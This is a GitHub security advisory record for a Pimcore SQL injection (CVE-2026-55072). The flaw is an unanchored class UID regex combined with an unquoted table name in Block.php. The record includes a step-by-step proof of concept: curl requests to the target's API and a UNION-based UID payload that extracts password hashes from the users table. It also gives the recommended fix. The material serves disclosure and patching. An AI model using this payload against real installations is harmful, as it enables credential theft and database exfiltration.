{"id":"GHSA-2mhj-fhvg-v428","summary":"Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name","details":"### Summary\nA missing end anchor (`$`) in the ClassDefinition UID validation regex allows an authenticated user with the `objects` permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit `dbe1d131e4` which added a leading `^` anchor but omitted the trailing `$`.\n\n### Details\n### 1. Missing end anchor in ClassDefinition UID validation\n\n`models/DataObject/ClassDefinition.php` lines 1148-1154:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w+/', $this-\u003egetName())) {\n    throw new Exception(sprintf('Invalid name for class definition: %s', $this-\u003egetName()));\n}\n\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this-\u003egetId())) {\n    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this-\u003egetId(), $this-\u003egetName()));\n}\n```\n\nBoth patterns are missing a trailing `$` anchor. Without it, `preg_match` only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of `1 UNION SELECT password FROM users-- ` passes because the regex matches `1` at the start and ignores the rest.\n\nCompare with the correct pattern used by Fieldcollection in `models/DataObject/Fieldcollection/Definition.php` line 268:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w*$/', $key)) {   // has $ — correct\n    return true;\n}\n```\n\n\n### 3. Unquoted classId concatenation in Block.php\n\n`models/DataObject/ClassDefinition/Data/Block.php` line 735:\n\n```php\n$query = 'select ' . $db-\u003equoteIdentifier($field) . ' from object_store_' . $object-\u003egetClassId() . ' where oo_id  = ' . $object-\u003egetId();\n```\n\n`$object-\u003egetClassId()` returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.\n\nCompare with `models/DataObject/ClassDefinition/Dao.php` line 108-113 which correctly wraps the table name:\n\n```php\n$objectDatastoreTable = 'object_store_' . $this-\u003emodel-\u003egetId();\n$qObjectDatastoreTable = $this-\u003edb-\u003equoteIdentifier($objectDatastoreTable);\n```\n\nDao.php was hardened in commit `dbe1d131e4` but Block.php was not.\n\n\n### PoC\n**Prerequisites:**\n- Pimcore 2026.1.x with Studio API enabled\n- A user `lowpriv` with only the `objects` permission\n\n**Step 1 — Authenticate as lowpriv and save the session cookie:**\n\n```bash\ncurl -s -c /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"lowpriv\",\"password\":\"password\"}'\n```\n\nExpected response:\n```json\n{\"message\": \"Login successful\"}\n```\n\n**Step 2 — Create a ClassDefinition with a malicious UID:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"PocClass\",\"uid\":\"1 UNION SELECT password,NULL FROM users-- \"}'\n```\n\nExpected response: class definition created successfully. The UID passes the broken regex because `preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...')` matches `1` at the start and returns true. No exception is thrown.\n\nThe bypass can be verified independently in any PHP sandbox:\n\n```php\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));\n// int(1) — PASSES, no exception thrown\n\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));\n// int(0) — BLOCKED, correct behavior with $ anchor\n```\n\n**Step 3 — Add a Block field to the malicious class (via the class editor UI or API)**\n\nIn the Pimcore Studio UI, open `PocClass`, add a field of type `Block`, name it `myblock`, and save the class.\n\n**Step 4 — Create a data object of the malicious class:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"className\":\"PocClass\",\"parentId\":1,\"key\":\"poc-object\"}'\n```\n\nNote the returned object ID (e.g. `42`).\n\n**Step 5 — Fetch the data object to trigger Block.php:735:**\n\n```bash\ncurl -s -b /tmp/cookies.txt \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects/42\"\n```\n\nWhen the object loads, `Block::load()` executes:\n\n```sql\nSELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--\nWHERE oo_id = 42\n```\n\nThe `-- ` comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the `users` table in the Block field value of the response.\n\n**Expected response (vulnerable):**\n\nThe `myblock` field value in the response contains rows from the `users` table including password hashes.\n\n**Expected response (patched):**\n\nStep 2 fails with a validation exception — the UID is rejected before the class is created.\n\n**Recommended fix:**\n\nAdd trailing `$` anchors to both regex patterns in `ClassDefinition.php`:\n\n```php\n// Before (vulnerable)\nif (!preg_match('/^[a-zA-Z]\\w+/', $this-\u003egetName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this-\u003egetId())) {\n\n// After (correct)\nif (!preg_match('/^[a-zA-Z]\\w+$/', $this-\u003egetName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this-\u003egetId())) {\n```\n\nAdditionally, wrap `$object-\u003egetClassId()` in `$db-\u003equoteIdentifier()` in `Block.php` lines 735, 744, 746, 748, 759, and 771, consistent with how `Dao.php` handles the same value.\n\n### Impact\nAn authenticated user with the `objects` permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the `users` table containing password hashes, using a UNION-based injection. The `objects` permission is a standard editor-level permission, not an admin privilege.","aliases":["CVE-2026-55072"],"modified":"2026-08-13T14:10:58.634872Z","published":"2026-08-13T13:44:24Z","database_specific":{"cwe_ids":["CWE-20","CWE-89"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-08-13T13:44:24Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-2mhj-fhvg-v428"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/commit/33a0e1887e1e31b4283b016ac5440c35ea5697b4"},{"type":"PACKAGE","url":"https://github.com/pimcore/pimcore"}],"affected":[{"package":{"name":"pimcore/pimcore","ecosystem":"Packagist","purl":"pkg:composer/pimcore/pimcore"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"fixed":"2026.1.5"}]}],"versions":["v2026.1.0","v2026.1.1","v2026.1.2","v2026.1.3","v2026.1.4"],"database_specific":{"last_known_affected_version_range":"\u003c= 2026.1.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-2mhj-fhvg-v428/GHSA-2mhj-fhvg-v428.json"}},{"package":{"name":"pimcore/pimcore","ecosystem":"Packagist","purl":"pkg:composer/pimcore/pimcore"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.9"}]}],"versions":["10.0.8","2.2.0","2.2.1","2.2.2","2.3.0","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.1.1","4.0.0","4.0.1","4.1.0","4.1.1","4.1.2","4.1.3","4.2.0","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.6.4","4.6.5","v10.0.0","v10.0.0-BETA1","v10.0.0-BETA2","v10.0.0-BETA3","v10.0.0-BETA4","v10.0.1","v10.0.2","v10.0.3","v10.0.4","v10.0.5","v10.0.6","v10.0.7","v10.0.9","v10.1.0","v10.1.1","v10.1.2","v10.1.3","v10.1.4","v10.1.5","v10.2.0","v10.2.1","v10.2.10","v10.2.2","v10.2.3","v10.2.4","v10.2.5","v10.2.6","v10.2.7","v10.2.8","v10.2.9","v10.3.0","v10.3.1","v10.3.2","v10.3.3","v10.3.4","v10.3.5","v10.3.6","v10.3.7","v10.4.0","v10.4.1","v10.4.2","v10.4.3","v10.4.4","v10.4.5","v10.4.6","v10.5.0","v10.5.1","v10.5.10","v10.5.11","v10.5.12","v10.5.13","v10.5.14","v10.5.15","v10.5.16","v10.5.17","v10.5.18","v10.5.19","v10.5.2","v10.5.20","v10.5.21","v10.5.22","v10.5.23","v10.5.24","v10.5.25","v10.5.3","v10.5.4","v10.5.5","v10.5.6","v10.5.7","v10.5.8","v10.5.9","v10.6.0","v10.6.1","v10.6.2","v10.6.3","v10.6.4","v10.6.5","v10.6.6","v10.6.7","v10.6.8","v10.6.9","v11.0.0","v11.0.0-ALPHA1","v11.0.0-ALPHA2","v11.0.0-ALPHA3","v11.0.0-ALPHA4","v11.0.0-ALPHA5","v11.0.0-ALPHA6","v11.0.0-ALPHA7","v11.0.0-ALPHA8","v11.0.0-BETA1","v11.0.0-RC1","v11.0.0-RC2","v11.0.1","v11.0.10","v11.0.11","v11.0.12","v11.0.2","v11.0.3","v11.0.4","v11.0.5","v11.0.6","v11.0.7","v11.0.8","v11.0.9","v11.1.0","v11.1.0-RC1","v11.1.1","v11.1.2","v11.1.3","v11.1.4","v11.1.5","v11.1.6","v11.2.0","v11.2.1","v11.2.2","v11.2.3","v11.2.4","v11.2.5","v11.2.6","v11.2.7","v11.3.0","v11.3.0-RC1","v11.3.0-RC2","v11.3.1","v11.3.2","v11.3.3","v11.4.0","v11.4.0-RC1","v11.4.1","v11.4.2","v11.4.3","v11.4.4","v11.5.0","v11.5.0-RC1","v11.5.0-RC2","v11.5.1","v11.5.10","v11.5.11","v11.5.12","v11.5.13","v11.5.14","v11.5.14.1","v11.5.2","v11.5.3","v11.5.4","v11.5.5","v11.5.6","v11.5.7","v11.5.8","v11.5.9","v12.0.0","v12.0.0-RC1","v12.0.0-RC2","v12.0.1","v12.0.2","v12.0.3","v12.0.4","v12.1.0","v12.1.1","v12.1.2","v12.1.3","v12.1.4","v12.1.5","v12.2.0","v12.2.1","v12.2.2","v12.2.3","v12.2.4","v12.3.0","v12.3.1","v12.3.1.1","v12.3.2","v12.3.3","v12.3.4","v12.3.5","v12.3.6","v12.3.7","v12.3.8","v5.0.0","v5.0.0-RC","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.1.0","v5.1.0-alpha","v5.1.1","v5.1.2","v5.1.3","v5.2.0","v5.2.1","v5.2.2","v5.2.3","v5.3.0","v5.3.1","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v5.5.0","v5.5.1","v5.5.2","v5.5.3","v5.5.4","v5.6.0","v5.6.1","v5.6.2","v5.6.3","v5.6.4","v5.6.5","v5.6.6","v5.7.0","v5.7.1","v5.7.2","v5.7.3","v5.8.0","v5.8.1","v5.8.2","v5.8.3","v5.8.4","v5.8.5","v5.8.6","v5.8.7","v5.8.8","v5.8.9","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.1.0","v6.1.1","v6.1.2","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.3.5","v6.3.6","v6.4.0","v6.4.1","v6.4.2","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.6.0","v6.6.1","v6.6.10","v6.6.11","v6.6.2","v6.6.3","v6.6.4","v6.6.5","v6.6.6","v6.6.7","v6.6.8","v6.6.9","v6.7.0","v6.7.1","v6.7.2","v6.7.3","v6.8.0","v6.8.1","v6.8.10","v6.8.11","v6.8.12","v6.8.2","v6.8.3","v6.8.4","v6.8.5","v6.8.6","v6.8.7","v6.8.8","v6.8.9","v6.9.0","v6.9.1","v6.9.2","v6.9.3","v6.9.4","v6.9.5","v6.9.6"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-2mhj-fhvg-v428/GHSA-2mhj-fhvg-v428.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"}]}